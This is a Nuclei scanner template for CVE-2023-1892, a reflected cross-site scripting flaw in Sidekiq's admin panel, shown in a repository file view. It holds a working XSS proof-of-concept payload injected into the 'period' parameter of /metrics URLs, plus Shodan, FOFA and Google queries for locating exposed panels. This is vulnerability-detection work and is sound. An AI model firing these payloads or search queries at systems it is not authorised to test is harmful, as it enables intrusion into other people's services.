nuclei-templates/http/cves/2023/CVE-2023-1892.yaml

68 lines
2.0 KiB
YAML
Raw Normal View History

2024-04-25 10:42:58 +00:00
id: CVE-2023-1892
info:
name: Sidekiq < 7.0.8 - Cross-Site Scripting
author: ritikchaddha,princechaddha
2024-05-31 19:23:20 +00:00
severity: critical
2024-04-25 10:42:58 +00:00
description: |
An XSS vulnerability on a Sidekiq admin panel can pose serious risks to the security and functionality of the system.
reference:
- https://huntr.com/bounties/e35e5653-c429-4fb8-94a3-cbc123ae4777
- https://github.com/sidekiq/sidekiq/commit/458fdf74176a9881478c48dc5cf0269107b22214
- https://nvd.nist.gov/vuln/detail/CVE-2023-1892
classification:
2024-05-31 19:23:20 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
cvss-score: 9.6
2024-04-25 10:42:58 +00:00
cve-id: CVE-2023-1892
cwe-id: CWE-79
2024-05-31 19:23:20 +00:00
epss-score: 0.02595
epss-percentile: 0.90273
2024-04-25 10:42:58 +00:00
cpe: cpe:2.3:a:contribsys:sidekiq:*:*:*:*:*:*:*:*
metadata:
max-request: 4
vendor: contribsys
product: sidekiq
2024-05-31 19:23:20 +00:00
shodan-query: http.title:"sidekiq"
2024-04-25 10:42:58 +00:00
fofa-query: title="Sidekiq"
2024-05-31 19:23:20 +00:00
google-query: intitle:"sidekiq"
2024-04-25 10:42:58 +00:00
tags: cve,cve2023,sidekiq,contribsys,xss
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/queues"
matchers:
- type: word
internal: true
part: body
words:
- "Sidekiq"
- "Dashboard</a>"
condition: and
- method: GET
path:
- "{{BaseURL}}/metrics?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E"
- "{{BaseURL}}/metrics/SanityChecksJob?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E"
- "{{BaseURL}}/metrics/ActiveStorage::PurgeJob?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<img/src/onerror=alert(document.domain)>"
- type: word
part: header
words:
- 'text/html'
- type: status
status:
- 200
# digest: 4a0a0047304502203c298fb5462949d2c0b4c37fe2b6f43a82cf04f52f0d463d2683e836bb1d02b2022100d3a58d90f4dead648a4149fffad2b4862828a2de55ca75a95ad4cf78b4ae40f3:922c64590222798bb761d5b6d8e72950